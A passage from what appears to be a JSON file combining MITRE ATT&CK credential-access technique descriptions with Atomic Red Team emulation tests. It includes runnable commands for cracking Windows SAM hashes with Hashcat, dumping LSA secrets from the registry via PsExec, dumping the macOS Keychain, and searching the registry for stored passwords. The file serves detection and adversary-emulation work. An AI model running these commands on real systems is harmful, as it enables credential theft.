- "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254
.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1110.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Office 365",
- "Azure AD",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mohamed Kmal"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
- "created": "2020-02-11T18:38:56.197Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1110.002",
- "url": "https://attack.mitre.org/techniques/T1110/002"
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Wikipedia Password cracking",
- "url": "https://en.wikipedia.org/wiki/Password_cracking",
- "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/55.html",
- "source_name": "capec",
- "external_id": "CAPEC-55"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.",
- "modified": "2022-04-19T21:33:46.023Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Brute Force: Password Cracking",
- "x_mitre_detection": "It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Application Log: Application Log Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1110.002"
- },
- "atomic_tests": [
- {
- "name": "Password Cracking with Hashcat",
- "auto_generated_guid": "6d27df5d-69d4-4c91-bc33-5983ffe91692",
- "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "hashcat_exe": {
- "description": "Path to Hashcat executable",
- "type": "string",
- "default": "%temp%\\hashcat6\\hashcat-6.1.1\\hashcat.exe"
- },
- "input_file_sam": {
- "description": "Path to SAM file",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1110.002\\src\\sam.txt"
- },
- "input_file_passwords": {
- "description": "Path to password list",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1110.002\\src\\password.lst"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Hashcat must exist on disk at specified location (#{hashcat_exe})",
- "prereq_command": "if (Test-Path $(cmd /c echo #{hashcat_exe})) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://www.7-zip.org/a/7z1900.exe\" -OutFile \"$env:TEMP\\7z1900.exe\"\nStart-Process -FilePath \"$env:Temp\\7z1900.exe\" -ArgumentList \"/S /D=$env:temp\\7zi\" -NoNewWindow\nInvoke-WebRequest \"https://hashcat.net/files/hashcat-6.1.1.7z\" -OutFile \"$env:TEMP\\hashcat6.7z\"\nStart-Process cmd.exe -Args \"/c %temp%\\7z\\7z.exe x %temp%\\hashcat6.7z -aoa -o%temp%\\hashcat-unzip\" -Wait\nNew-Item -ItemType Directory (Split-Path $(cmd /c echo #{hashcat_exe})) -Force | Out-Null\nMove-Item $env:Temp\\hashcat-unzip\\hashcat-6.1.1\\* $(cmd /c echo #{hashcat_exe}\\..) -Force -ErrorAction Ignore"
- }
- ],
- "executor": {
- "command": "cd #{hashcat_exe}\\..\n#{hashcat_exe} -a 0 -m 1000 -r .\\rules\\Incisive-leetspeak.rule #{input_file_sam} #{input_file_passwords}",
- "cleanup_command": "del %temp%\\hashcat6.7z >nul 2>&1\ndel %temp%\\7z1900.exe >nul 2>&1\ndel %temp%\\7z /Q /S >nul 2>&1\ndel %temp%\\hashcat-unzip /Q /S >nul 2>&1",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1555.001": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
- "created": "2020-02-12T18:55:24.728Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1555.001",
- "url": "https://attack.mitre.org/techniques/T1555/001"
- },
- {
- "source_name": "External to DA, the OS X Way",
- "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
- "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017."
- },
- {
- "source_name": "Keychain Services Apple",
- "url": "https://developer.apple.com/documentation/security/keychain_services",
- "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022."
- },
- {
- "source_name": "Empire Keychain Decrypt",
- "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py",
- "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022."
- },
- {
- "source_name": "OSX Keychain Schaumann",
- "url": "https://www.netmeister.org/blog/keychain-passwords.html",
- "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022."
- },
- {
- "source_name": "Keychain Decryption Passware",
- "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption",
- "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security
. Keychain files are located in ~/Library/Keychains/
, /Library/Keychains/
, and /Network/Library/Keychains/
.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d
will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db
. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain
file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ",
- "modified": "2022-04-18T20:32:22.122Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Credentials from Password Stores: Keychain",
- "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Process: OS API Execution",
- "File: File Access",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1555.001"
- },
- "atomic_tests": []
- },
- "T1003.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ed Williams, Trustwave, SpiderLabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
- "type": "attack-pattern",
- "created": "2020-02-21T16:22:09.493Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003.004",
- "url": "https://attack.mitre.org/techniques/T1003/004"
- },
- {
- "source_name": "Passcape LSA Secrets",
- "url": "https://www.passcape.com/index.php?section=docsys&cmd=details&id=23",
- "description": "Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020."
- },
- {
- "source_name": "Microsoft AD Admin Tier Model",
- "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN",
- "description": "Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020."
- },
- {
- "source_name": "Tilbury Windows Credentials",
- "url": "https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf",
- "description": "Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020."
- },
- {
- "source_name": "ired Dumping LSA Secrets",
- "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets",
- "description": "Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020."
- },
- {
- "url": "https://github.com/mattifestation/PowerSploit",
- "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
- "source_name": "Powersploit"
- }
- ],
- "modified": "2021-04-21T21:12:38.361Z",
- "name": "OS Credential Dumping: LSA Secrets",
- "description": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets
. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Access",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM"
- ],
- "identifier": "T1003.004"
- },
- "atomic_tests": [
- {
- "name": "Dumping LSA Secrets",
- "auto_generated_guid": "55295ab0-a703-433b-9ca4-ae13807de12f",
- "description": "Dump secrets key from Windows registry\nWhen successful, the dumped file will be written to $env:Temp\\secrets.\nAttackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.\nhttps://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "psexec_exe": {
- "description": "Path to PsExec executable",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1003.004\\bin\\PsExec.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})",
- "prereq_command": "if (Test-Path #{psexec_exe}) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PSTools.zip\"\nExpand-Archive $env:TEMP\\PSTools.zip $env:TEMP\\PSTools -Force\nNew-Item -ItemType Directory (Split-Path #{psexec_exe}) -Force | Out-Null\nCopy-Item $env:TEMP\\PSTools\\PsExec.exe #{psexec_exe} -Force"
- }
- ],
- "executor": {
- "command": "#{psexec_exe} -accepteula -s reg save HKLM\\security\\policy\\secrets %temp%\\secrets /y",
- "cleanup_command": "del %temp%\\secrets >nul 2> nul",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1606.002": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "SaaS",
- "Windows",
- "Office 365",
- "Google Workspace",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jen Burns, HubSpot",
- "Blake Strom, Microsoft 365 Defender",
- "Oleg Kolesnikov, Securonix"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2",
- "type": "attack-pattern",
- "created": "2020-12-17T15:24:12.240Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1606.002",
- "url": "https://attack.mitre.org/techniques/T1606/002"
- },
- {
- "source_name": "Microsoft SolarWinds Steps",
- "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/",
- "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020."
- },
- {
- "source_name": "Microsoft SAML Token Lifetimes",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes",
- "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020."
- },
- {
- "source_name": "Cyberark Golden SAML",
- "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps",
- "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020."
- },
- {
- "source_name": "Microsoft SolarWinds Customer Guidance",
- "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
- "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."
- },
- {
- "source_name": "Sygnia Golden SAML",
- "url": "https://www.sygnia.co/golden-saml-advisory",
- "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
- }
- ],
- "modified": "2021-09-20T16:47:19.173Z",
- "name": "Forge Web Credentials: SAML token",
- "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter
value of the conditions ...
element in a token. This value can be changed using the AccessTokenLifetime
in a LifetimeTokenPolicy
.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Web Credential: Web Credential Creation",
- "Web Credential: Web Credential Usage",
- "Logon Session: Logon Session Metadata",
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1606.002"
- },
- "atomic_tests": []
- },
- "T1167": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1167",
- "url": "https://attack.mitre.org/techniques/T1167"
- },
- {
- "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
- "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
- "source_name": "OS X Keychain"
- },
- {
- "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
- "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
- "source_name": "External to DA, the OS X Way"
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- }
- ],
- "modified": "2020-02-12T18:56:59.153Z",
- "name": "Securityd Memory",
- "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1214": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Sudhanshu Chauhan, @Sudhanshu_C"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1214",
- "url": "https://attack.mitre.org/techniques/T1214"
- },
- {
- "url": "https://pentestlab.blog/2017/04/19/stored-credentials/",
- "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
- "source_name": "Pentestlab Stored Credentials"
- }
- ],
- "modified": "2020-02-04T12:59:37.464Z",
- "name": "Credentials in Registry",
- "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s
\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s
",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."
- ]
- },
- "atomic_tests": []
- },
- "T1003.007": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d",
- "type": "attack-pattern",
- "created": "2020-02-11T18:46:24.434Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003.007",
- "url": "https://attack.mitre.org/techniques/T1003/007"
- },
- {
- "url": "https://github.com/huntergregal/mimipenguin",
- "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
- "source_name": "MimiPenguin GitHub May 2017"
- }
- ],
- "modified": "2020-03-19T15:32:18.098Z",
- "name": "OS Credential Dumping: Proc Filesystem",
- "description": "Adversaries may gather credentials from information stored in the Proc filesystem or /proc
. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively.\n\nThis functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\\*/maps
, where the \\*
directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "identifier": "T1003.007"
- },
- "atomic_tests": []
- },
- "T1555.005": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matt Burrough, @mattburrough, Microsoft"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
- "type": "attack-pattern",
- "created": "2021-01-22T16:08:40.629Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1555.005",
- "url": "https://attack.mitre.org/techniques/T1555/005"
- },
- {
- "source_name": "ise Password Manager February 2019",
- "url": "https://www.ise.io/casestudies/password-manager-hacking/",
- "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021."
- },
- {
- "source_name": "FoxIT Wocao December 2019",
- "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf",
- "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020."
- },
- {
- "source_name": "Github KeeThief",
- "url": "https://github.com/GhostPack/KeeThief",
- "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021."
- },
- {
- "source_name": "NVD CVE-2019-3610",
- "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610",
- "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021."
- },
- {
- "source_name": "Cyberreason Anchor December 2019",
- "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware",
- "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."
- }
- ],
- "modified": "2022-03-25T13:18:55.310Z",
- "name": "Password Managers",
- "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
